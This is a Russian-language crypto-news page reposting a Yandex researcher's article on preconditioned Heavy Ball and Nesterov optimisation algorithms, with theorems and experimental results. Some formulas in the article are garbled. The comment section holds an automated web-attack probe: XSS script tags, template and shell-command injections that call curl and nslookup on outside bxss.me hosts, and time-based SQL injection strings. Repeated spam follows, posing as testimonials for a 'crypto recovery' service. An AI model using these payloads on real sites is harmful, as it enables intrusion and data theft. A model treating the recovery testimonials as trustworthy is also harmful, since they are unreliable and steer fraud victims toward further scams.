Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Предобусловливание и импульс в оптимизации: взгляд на алгоритмы PHB/PN от исследователей Яндекса

Современные задачи оптимизации в машинном обучении часто оказываются плохо обусловленными — грубо говоря, их ландшафт имеет долины с резко различающейся кривизной. В таких случаях методы на основе градиентного спуска сходятся медленно: шаг, выбранный для устойчивости на одном участке, оказывается слишком малым на другом.

Для ускорения сходимости широко применяются методы с механизмом импульса (momentum): классический метод Поляка — Heavy Ball (HB) — и метод Нестерова (ускоренный градиент). Оба эти метода используют идею накапливать «инерцию» градиента, благодаря чему могут двигаться по направлению оптимума быстрее обычного градиентного спуска.

Однако, хотя импульс позволяет ускорить алгоритм, сам по себе он не решает проблему плохой обусловленности функции. Если у функции большое отношение $L/\mu$ (кондиционирование, где — Константа Липшица градиента, а $\mu$ — константа сильной выпуклости), даже методы Нестерова будут требовать много итераций для достижения высокой точности. В таких ситуациях на помощь приходит предобусловливание — масштабирование шагов оптимизации по разным координатам на основе дополнительной информации о функции, чтобы выровнять скорость сходимости по различным направлениям задачи.

Идея предобусловливания не нова: ещё методы Ньютона и квази‑Ньютона фактически предобусловливают задачу с помощью второй производной (Гессиана) или её приближений. Вычислять обратный Гессиан напрямую дорого, поэтому на практике применяются приближённые методы (BFGS, L‑BFGS и др.) либо более простые схемы адаптивного масштабирования шага.

Последние годы огромную популярность получили так называемые адаптивные методы первого порядка: AdaGrad, RMSProp, Adam и их производные. В них предобусловливание осуществляется за счёт диагональной матрицы D_k (по сути, индивидуального шага для каждой координаты), которая обновляется по ходу алгоритма на основе прошлых градиентов. Например, AdaGrad накапливает сумму квадратов градиента по каждой координате и делит на её корень, RMSProp и Adam используют экспоненциальное затухание этих сумм, а Adam дополнительно сочетает это с импульсом (моментом) градиента.

На практике адаптивные методы зачастую значительно превосходят по скорости сходимости обычный градиентный спуск и де‑факто стали стандартом при обучении нейросетей. Однако до сих пор сочетание импульсного ускорения (как в методах Heavy Ball или Нестерова) с общим предобусловливанием изучено не полностью. Существующие адаптивные схемы либо не обеспечивают теоретического ускорения до уровня метода Нестерова, либо анализируются только в частных случаях.

Всем привет! Меня зовут Степан Трифонов, я аналитик‑разработчик в Яндекс Пэй. Недавно мы с коллегами, Леонидом Левиным и Савелием Чежеговым, опубликовали научную статью Incorporating Preconditioning into Accelerated Approaches: Theoretical Guarantees and Practical Improvement, где ввели предобусловленные версии классических ускоренных методов — Preconditioned Heavy Ball (PHB) и Preconditioned Nesterov (PN) — и доказали для них оценки сходимости при весьма общих допущениях на предобусловливающую матрицу. Также мы провели численные эксперименты, которые продемонстрировали практический выигрыш новых алгоритмов по сравнению с обычными (непредобусловленными) методами HB и Нестерова.

Метод Heavy Ball и метод Нестерова: ускорение и ограничения

Перед тем как перейти к новому алгоритму, кратко напомню идеи классических методов с импульсом и их проблемы на плохо обусловленных задачах. Метод импульса Поляка (Heavy Ball, HB) в каждой итерации сохраняет часть предыдущего шага и добавляет его к новому шагу градиентного спуска. В простейшей форме обновление можно записать как:

$x_{k+1} = x_k - \gamma\nabla f(x_k) + \beta(x_k - x_{k−1})$

, где $\beta\in[0,1)$ — коэффициент импульса, а $\gamma>0$ — шаг (темп) обучения. Иными словами, переменная x получает «толчок» в направлении предыдущего движения с весом $\beta$ , сглаживая зигзагообразные колебания градиентного метода и зачастую ускоряя спуск по узким долинам.

Метод HB интуитивно моделирует движение шарика, прикреплённого пружиной к дну чаши (минимуму): шарик разгоняется, накапливая скорость, и дольше движется по направлению, близкому к градиентному, чем при наивном спуске без инерции. На практике это может существенно ускорять сходимость.

Метод Нестерова (Accelerated Gradient Descent, AGD) идёт дальше и достигает теоретически оптимальной скорости сходимости в классе гладких выпуклых задач. Его схема чуть сложнее: помимо текущей точки x_k поддерживается вспомогательная точка y_k , которая забегает вперёд на шаг импульса, после чего выполняется градиентный шаг из y_k . В одной из распространённых реализаций обновление выглядит так:

$y_k = x_k +\beta(x_k - x_{k−1}), \;\;\;\;\;\;\;\;\;\;x_{k+1} = y_k -\gamma\nabla f(y_k)$

, где коэффициент $\beta$ последовательно уменьшается от значения, близкого к 1 (в начале оптимизации), к 0 (в конце) по особой формуле. Благодаря этому при $beta \approx 1$ метод делает довольно длинные упреждающие прыжки, которые компенсируются последующим градиентным шагом.

В итоге удаётся доказать, что f(x_k) - f(x^*) убывает как O(1/k^2) для несильно выпуклых задач, а в случае $\mu$ ‑сильно выпуклой функции достигается линейная сходимость с коэффициентом $O \left( \sqrt{\frac{L}{\mu}} \right)$ в числе итераций — существенно лучше, чем $O\Big(\frac{L}{\mu}\Big)$ у градиентного спуска.

Таким образом, метод Нестерова обеспечивает ускорение в теории и на практике стал базовым методом для многих сложных задач. Тем не менее ни HB, ни классический AGD не решают проблем плохой обусловленности самостоятельно. Если условное число $\kappa = L/\mu$ велико, то даже с импульсом сходимость может оставаться неудовлетворительной. Например, метод Поляка в строго выпуклом случае вообще не улучшает скорость сходимости по порядку — его теоретическая оценка совпадает с градиентным спуском. Метод Нестерова в худшем случае упирается в фактор $\sqrt{\kappa}$ , который всё ещё может быть большим.

Для преодоления этой проблемы и применяется предобусловливание.

Предобусловливание и адаптивные методы

Предобусловливание (preconditioning) в общем виде означает замену исходной задачи $\min_x f(x)$ на эквивалентную задачу в других координатах: вводится невырожденная матрица (предобусловливания), после замены переменных $x = P^{-1}z$ функция переходит к $\tilde f(z) = f(P^{-1}z)$ . Градиентный шаг по эквивалентен шагу по с умножением на : $x \leftarrow x - P^{-1} \nabla f(x)$ . Выбор , близкой к $(\nabla^2 f(x^*))^{-1}$ (обратному оптимальному Гессиану), теоретически дал бы идеальную сходимость за один шаг, но на практике точно вычислить такой невозможно. Тем не менее различные приближённые и адаптивные схемы предобусловливания позволяют значительно ускорить спуск.

Квазиньютоновские методы (BFGS, L‑BFGS) динамически обновляют приближение обратного Гессиана по результатам предыдущих шагов. Методы AdaGrad, RMSProp, Adam и их аналоги используют более простую форму — диагональную матрицу D_k — и обновляют её элементы на основе накопленной информации о градиентах. Например, AdaGrad изначально выбирает D_0 = I и далее вычисляет диагональ $(D_k){ii} = \varepsilon + \sum$ в шаге — большие градиенты по данной координате автоматически уменьшают шаг, а небольшие компоненты градиента наоборот дают больший эффективный шаг. RMSProp и Adam модифицируют эту идею, используя экспоненциальное сглаживание:

$(D_k)_{ii} = \max{(\varepsilon, \beta_2(D_k−1)_{ii} +(1 - \beta_2)[∇f(x_k)]^2_i)}$

, где $\beta_2 \approx 0.9\text{--}0.999$ — параметр сглаживания, а $\varepsilon>0$ не даёт делителю обращаться в 0. В Adam дополнительно вводится момент первого порядка (импульс для градиента, $\beta_1$ ).

Схожие идеи масштабирования подпространств лежат в основе многих методик — от естественного градиента и адаптивного сжатия шага в SGD до методов второго порядка для больших моделей. $^k [\nabla f(x_t)]_i^2$ (накопленные квадраты ‑й компоненты градиента) за счёт $\frac{1}{\sqrt{D_{k}}}$ . Важно отметить, что предобусловливание зачастую не нарушает теоретической сходимости метода, если матрица D_k ограничена в разумных пределах.

В нашей статье сделано естественное предположение: существуют константы $0 < e \le \Gamma$ , такие, что для всех итераций матрица D_k удовлетворяет $eI \preceq D_k \preceq Γ$ I.

Другими словами, ни один собственный элемент предобусловливания не становится меньше и больше $\Gamma$ Это обычно выполняется на практике: например, в AdaGrad или Adam диагональные элементы связаны с суммой квадратов градиента, которая заведомо конечна и положительна.

Тем не менее нижнюю грань иногда приходится вводить искусственно — в алгоритмах это реализуется как $\max{e, \text{обновлённое значение}}$ на диагонали. Такое ограничение предобусловливания означает, что мы не делаем бесконечно большие шаги ни в одном направлении и не «замораживаем» полностью какие‑либо координаты. Оно приводит к тому, что в оценках сложности появляется множитель $\Gamma/e$ (немного ухудшающий константы, но не порядок сходимости).

Таким образом предобусловливание в форме диагональной матрицы D_k способно существенно ускорить сходимость методов первого порядка на плохо обусловленных задачах. Логично ожидать, что сочетание предобусловливания с импульсом (то есть объединение идей AdaGrad, Adam и Nesterov) даст ещё более эффективный метод. Именно этого мы и пытались достичь, предложив два алгоритма: предобусловленный Heavy Ball и предобусловленный Nesterov.

Предобусловленные алгоритмы: PHB и PN

Мы сформулировали два алгоритма: Preconditioned Heavy Ball (PHB) и Preconditioned Nesterov (PN). Это модификации классического метода Поляка и метода Нестерова с добавлением предобусловливания. Оба алгоритма работают с диагональной матрицей масштабирования D_k , обновляемой по общему правилу (обозначим процедуру обновления как $\text{Update}(D_k, H_{k+1})$ на основе некоторой матрицы $H_{k+1}$ , содержащей информацию о функции на итерации k{+}1 . В частных реализациях H_k может быть, например, матрицей квадратов градиента $\operatorname{diag} (\nabla f(x_k)\odot \nabla f(x_k))$ для адаптивных методов первого порядка либо матрицей, связанной с аппроксимацией Гессиана (как в OASIS или AdaHessian).

Обновление D_k предполагается удовлетворяющим изложенному выше условию ограниченности ( $eI \preceq D_k \preceq \Gamma I$ ). Ниже приведён псевдокод алгоритма PHB.

У алгоритма PHB та же структура, что и у оригинального HB, за тем исключением, что градиент накапливается во временной переменной v_k с учётом матрицы $D_k^{-1}$ . В строке 2 произведение $D_k^{-1}\nabla f(x_k)$ означает, что каждое измерение градиента масштабируется индивидуально: если по ‑й координате накоплена большая величина $D_{k,ii}$ (например, большой разброс или кривизна), то шаг по этой координате автоматически уменьшается.

После вычисления импульсного шага v_k алгоритм обновляет точку $x_{k+1}$ привычным образом (строка 3). Наконец, строка 4 отвечает за пересчёт предобусловливания $D_{k+1}$ : вызывается некоторая процедура $\text{Update}$ , которая на основе текущего D_k и новой информации $H_{k+1}$ генерирует матрицу, затем каждому её диагональному элементу применяется порог (как обсуждалось, это гарантирует положительность и ограниченность снизу).

Preconditioned Nesterov (PN) сочетает предобусловливание с двухшаговой схемой Нестерова — вычислением упреждающей точки и последующей коррекцией. Для него вводятся две последовательности коэффициентов ${\xi_k}$ и ${\theta_k}$ (как и в нестеровских методах, они могут быть выбраны по теоретической формуле, обеспечивающей ускорение). Ниже — псевдокод PN.

Алгоритм PN использует два состояния точки на каждой итерации: x^f — условно быстрое приближение (после градиентного шага), и (без верхнего индекса) — скорректированное приближение. Порядок действий такой: сначала вычисляется $x_{k+1}^f$ — результат предобусловленного градиентного шага из некой точки x_k^g (строка 2). Здесь x_k^g играет роль точки, из которой считаем градиент; в начале алгоритма x_0^g = x_0 , а далее эта точка будет задаваться линейной комбинацией предыдущих состояний (строка 4).

После полученный промежуточный результат $x_{k+1}^f$ комбинируется с предыдущим x_k^f : строка 3 выполняет корректирующий шаг Нестерова $x_{k+1} = x_k^f + \xi_k ,(x_{k+1}^f - x_k^f)$ . Если положить $\xi_k=0$ , то этой строкой можно пренебречь, и алгоритм PN превратится фактически в предобусловленный градиентный спуск. При ненулевых $\xi_k$ происходит «подтягивание» решения по направлению от старого x_k^f к свежей точке $x_{k+1}^f$ .

Наконец, строка 4 вычисляет новую точку для расчёта градиента $x_{k+1}^g$ на следующей итерации как выпуклую комбинацию $x_{k+1}^f$ и $x_{k+1}$ .

Правильный выбор параметров $\xi_k$ и $\theta_k$ (например, как в классическом методе Нестерова) обеспечивает ускоренный режим сходимости алгоритма. Предобусловливание D_k обновляется аналогично алгоритму PHB (строка 5).

Оба предложенных алгоритма представляют по сути обобщённые схемы, которые включают многие частные случаи. Если, например, взять D_k = I (отсутствие предобусловливания), то PHB сведётся к обычному HB, а PN — к методу Нестерова. Если же выбрать правило Update аналогично Adam (диагональное экспоненциальное усреднение квадратов градиента) и при этом в PN положить $xi_k = \theta_{k+1}$ , мы получим алгоритм, очень близкий к оптимизатору Nadam (Nesterov Adam).

Мы проводили анализ в единой структуре предположений, и он охватывает сразу множество вариантов предобусловливания, что делает PHB и PN своего рода универсальными каркасами для разработки новых оптимизаторов.

Теоретические гарантии и скорость сходимости

Главный результат нашего исследования, отражённый в статье, — доказательство сходимости алгоритмов PHB и PN при наложенных предположениях (сильная выпуклость и гладкость функции f(x) , а также ограниченность матриц предобусловливания D_k ).

Ниже — упрощённые версии основных теорем и следствий (без технических деталей вроде приёмов ребалансировки точек и так далее).

Теорема 1: сходимость PHB

Пусть функция f(x) удовлетворяет условиям $\mu$ ‑сильной выпуклости и ‑гладкости, а матрица D_k на каждой итерации удовлетворяет $eI \preceq D_k \preceq \Gamma I$ .

Тогда для алгоритма PHB с постоянным шагом $\displaystyle \gamma = \frac{(1-\beta_1)^2e}{12L}$ выполняется неравенство:

$f\!\left(\frac{1}{W_{K-1}} \sum_{k=0}^{K-1} w_k x_k\right) - f(x^*) \le 4 \exp\!\left( - \frac{(1 - \beta_1)\,\mu\, e\, K}{48\,L\,\Gamma} \right) \frac{L \,\|x_0 - x^*\|_{D^{-1}}^{2}}{1}\,$

, где $W_{K-1} = \sum_{k=0}^{K-1} w_k$ и $w_k = \Big(1 - \frac{\mu e}{4\Gamma}\Big)^{-(k+1)}$ .

Это довольно громоздкое выражение можно интерпретировать следующим образом: значения функции (в определённой средневзвешенной точке) убывают экспоненциально быстро с коэффициентом, пропорциональным $(1-\beta_1)\mu e/(L\Gamma)$ . Если пренебречь влиянием предобусловливания ( и $\Gamma$ заменить на 1) и выбрать оптимальное $\beta_1$ , то порядок сходимости будет $O!\Big(\frac{L}{\mu}\ln\frac{1}{\varepsilon}\Big)$ , что соответствует градиентному спуску.

Это неудивительно: известно, что HB в худшем случае не ускоряет сходимость сверх этого предела. Тем не менее теорема гарантирует, что линейная сходимость сохраняется и в присутствии масштабирования D_k , пусть и с несколько иными константами.

Из этой теоремы напрямую вытекает утверждение о количестве итераций для достижения заданной точности: чтобы обеспечить $f(x_{\text{out}}) - f(x^*) \le \varepsilon$ , алгоритму PHB достаточно выполнить

$K = O\!\left( \frac{L\,\Gamma}{\mu\, e\, (1 - \beta_1)} \ln\!\frac{L \, \|x_0 - x^*\|^2}{\varepsilon} \right)$

итераций.

Отметим появление множителя $\Gamma/e$ при $L/\mu$ и $(1-\beta_1)$ в этой оценке — это плата за использование предобусловливания (в худшем случае условное число задачи увеличивается максимум в $\Gamma/e$ раз из‑за различия масштабов по осям).

Также присутствует делитель $(1-\beta_1)$ : при $\beta_1 \to 1$ метод стремится к пределу безусловной стабильности (но и без импульса нет смысла брать $\beta_1=0$ ). В экспериментальной части мы брали $\beta_1=0,9$ как компромисс.

Теорема 2: сходимость PN

Пусть выполнены те же условия на f(x) и D_k . Тогда для алгоритма PN с шагом $\gamma_k = \frac{1}{L}\sqrt{\frac{\mu e}{L}}$ и последовательностями параметров $\xi_k \equiv \sqrt{\frac{\mu e}{L}}$ и $\theta_k \equiv \sqrt{\frac{\mu e}{L}}$ выполняется оценка:

$\|x_{k+1} - x^*\|_{D_{k+1}}^{2} \le \exp\!\left( - K \sqrt{\frac{\mu e}{4 L \Gamma}} \right) \left( \|x_0 - x^*\|_{D_0^{-1}}^{2} + \frac{2\Gamma}{\mu}\big(f(x^0) - f(x^*)\big) \right)$

Не вдаваясь в тонкости, заметим главное отличие от теоремы 1: в показателе экспоненты появился квадратный корень из $\mu/L$ (с дополнительным фактором $e/\Gamma$ ). Это означает, что алгоритм PN достигает ускоренной сходимости: при больших норма расстояния до оптимума убывает примерно как $O(\sqrt{L/\mu}\ln(1/\varepsilon))$ , что соответствует сложности $O(\sqrt{L/\mu}\ln(1/\varepsilon))$ итераций до заданной точности (с точностью до констант).

Формально это отражено в следующем следствии: алгоритму PN достаточно

$K = O\!\left( \sqrt{\frac{L\Gamma}{\mu e}}\; \ln \frac{ L\|x_0 - x^*\|^{2} + \dfrac{L\Gamma}{\mu}\big(f(x^{0}) - f(x^{*})\big) }{\varepsilon} \right)$

итераций для достижения критерия $|x_K - x^*|^2_{D_K} \le \varepsilon$ (или аналогичного по функциям).

Таким образом, предобусловленный метод Нестерова сохраняет ключевое преимущество оригинального AGD — ускорение порядка $\sqrt{\kappa}$ , где $\kappa = \frac{L\Gamma}{\mu e}$ можно интерпретировать как некое эффективное условное число с учётом масштабирования.

Для сравнения: у метода PHB в аналогичном месте формулы стоит $\kappa = \frac{L\Gamma}{\mu e(1-\beta_1)}$ , то есть нет квадратного корня, и зависимость от $(1-\beta_1)$ добавляет к ещё один множитель (это характерно и для обычного HB).

Также в статье мы отдельно обсуждаем два аспекта полученных оценок:

Норма, индуцированная . В теоремах прогресс сходимости оценивается в норме $| x - x^|{D^{-1}}$ или $|x - x^|{D}$ , связанной с матрицей предобусловливания. Это немного усложняет вид формул, но не меняет сути — можно показать, что переход к евклидовой норме приведёт лишь к появлению уже знакомого коэффициента $\Gamma$ (впрочем, под логарифмом или под корнем, то есть без влияния на порядок сложности).
Улучшение за счёт предобусловливания. В оценках для PHB и PN экспоненциальный коэффициент (обуславливающий скорость линейной сходимости) отличается. Для PHB присутствует множитель $\frac{(1-\beta_1)\mu e}{L\Gamma}$ , который по порядку такой же, как в ряде предшествующих работ по масштабированию градиентных методов.

Иными словами, PHB не улучшает теоретическую зависимость от $\kappa$ по сравнению с уже известными результатами (что согласуется с тем, что HB не даёт ускорения в худшем случае). Для предобусловленного Нестерова же экспонента содержит $\sqrt{\frac{\mu e}{L\Gamma}}$ , что эквивалентно ускорению — зависимость от $\kappa$ улучшена до $\sqrt{\kappa}$ .

Таким образом, PN в теории опережает PHB на классах задач, где достигается режим ускорения.

В целом анализ показывает, что добавление масштабирования (диагонального предобусловливания) не мешает сходимости ни HB, ни AGD. Для сильно выпуклых задач PHB остаётся линейно сходящимся методом порядка $O(L/\mu)$ , а PN — ускоренным методом порядка $O(\sqrt{L/\mu})$ . Дополнительный ценой является коэффициент $\Gamma/e$ при $L/ \mu$ в оценках сложности, который появляется из‑за допускаемой неоднородности предобусловливания. Однако такой множитель стандартен и неизбежен в анализе адаптивных методов.

Практические эксперименты

Также мы подкрепили теоретические результаты численным экспериментом на задаче бинарной классификации. В качестве датасетов выбраны два стандартных набора из библиотеки LibSVM: a9a (данные из UCI Adult для задачи определения дохода по анкетным данным) и w8a (данные по веб‑кликам). Обе выборки разделены на обучающую и тестовую части.

Сравнение сходимости методов на датасете a9a. По оси ординат отложена норма градиента (в логарифмическом масштабе), по оси абсцисс — число итераций. Синим показан метод HBl, оранжевым — PHB, зелёным — Nesterov, красным — PN. Предобусловленные версии заметно опережают оригинальные по скорости убывания градиента

Сравнение сходимости методов на датасете a9a. По оси ординат отложена норма градиента $|\nabla f(w)|^2$ (в логарифмическом масштабе), по оси абсцисс — число итераций. Синим показан метод HBl, оранжевым — PHB, зелёным — Nesterov, красным — PN. Предобусловленные версии заметно опережают оригинальные по скорости убывания градиента

Как и предсказывает теория, на обоих датасетах предобусловленные версии алгоритмов сходятся быстрее. График выше показывает типичную картину: метод Нестерова убывает быстрее, чем HB. Добавление предобусловливания ускоряет оба метода (оранжевая и красная кривые лежат ниже).

Особенно заметен выигрыш у метода Нестерова: красная кривая (PN) уходит вниз гораздо круче, чем зелёная (классический AGD), — примерно на порядок по $|\nabla f(w)|^2$ за тот же интервал итераций. PHB (оранжевый) тоже показывает более быструю сходимость, чем обычный HB (синий), хотя разрыв между ними чуть меньше.

На втором датасете (w8a) наблюдается аналогичная картина.

Сравнение методов на датасете w8a. Видно, что качественные выводы совпадают с предыдущим графиком: предобусловливание даёт выигрыш в скорости сходимости как для HB, так и (особенно сильно) для метода Нестерова

Небольшое отличие в том, что кривая HB осцилирует сильнее, — это связано со свойством конкретных данных и шагом метода, из‑за чего импульс порождает колебания. Тем не менее финальная точность (уровень, на котором значение $|\nabla f(w)|^2$ выходит на плато) у предобусловленных методов выше.

В обоих экспериментах алгоритм PN достиг наименьшего значения критерия за заданное число итераций. Хотя наши теоретические оценки сложности для предобусловленных методов содержат дополнительный неблагоприятный множитель $\Gamma/ e$ (по сути, из‑за возможного ухудшения кондиции при масштабировании), на практике этот эффект не мешает достичь ускорения.

Полученные графики подтверждают применимость подхода: предобусловливание действительно позволяет алгоритмам с импульсом быстрее находить минимум по сравнению с их «неадаптивными» аналогами.

Заключение

По итогу нашей работы мы предложили два ускоренных алгоритма оптимизации, объединяющих методы импульса (HB, Nesterov AGD) с механизмом предобусловливания первого порядка (адаптивным масштабированием шагов). Для методов Preconditioned Heavy Ball и Preconditioned Nesterov мы провели теоретический анализ сходимости и доказали, что на сильно выпуклых гладких задачах PHB сходится линейно, а PN — линейно с ускорением (в терминах числа итераций примерно на $\sqrt{\kappa}$ быстрее). Эти гарантии получены при достаточно общих требованиях к матрице масштабирования (диагональный D_k , ограниченный сверху и снизу положительными константами). Причём в оценках появляется лишь стандартный для адаптивных методов множитель $\Gamma/e$ , немного влияющий на константы.

Практические эксперименты подтверждают, что предложенные алгоритмы способны существенно обгонять по скорости классические методы без предобусловливания, особенно на задачах с плохо обусловленной матрицей Гессиана.

Когда же стоит применять PHB и PN? Они перспективны в ситуациях, где обычно помогают адаптивные методы, — то есть при резком различии масштабов по параметрам, при наличии разреженных признаков, в больших по размерности задачах, а также в глубоком обучении. В таких случаях предобусловливание ускоряет сходимость, а сочетание с импульсом даёт дополнительное преимущество.

Предобусловленный HB может быть полезен, если по каким‑то причинам метод Нестерова использовать неудобно (например, из‑за сложности настройки или в стохастических условиях), так как PHB проще и менее требователен к адаптации коэффициентов. С другой стороны, если главной целью является максимальное ускорение с теоретическими гарантиями, PN выглядит более привлекательным, показывая лучшую зависимость от $\kappa$ . Ограничением работы является фокус на детерминированных гладких задачах — в условиях стохастического шума или негладкости функции требуются отдельные исследования.

Наша работа открывает возможности для дальнейших исследований: попробовать внедрить предобусловливание в стохастические варианты метода Нестерова в задачи с седловой структурой или неевклидовой геометрией, а также изучить поведение PHB и PN при ослаблении условий ‑гладкости (например, для моделей с разрывной субградиентной структурой).

Кроме того, довольно интересное направление — выбор оптимальной стратегии обновления D_k под конкретную задачу. Здесь возможны заимствования из вторых производных, методов типа AdaHessian, а также более сложных адаптивных правил.

В целом комбинация адаптивного предобусловливания и импульсного ускорения — многообещающее направление, и наша статья внесла в него важный теоретический вклад, подкреплённый практическими результатами.

Если у вас остались вопросы, буду рад обсудить их в комментариях.

Источник

Теги

Категория

Новости

Дата

14 окт. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

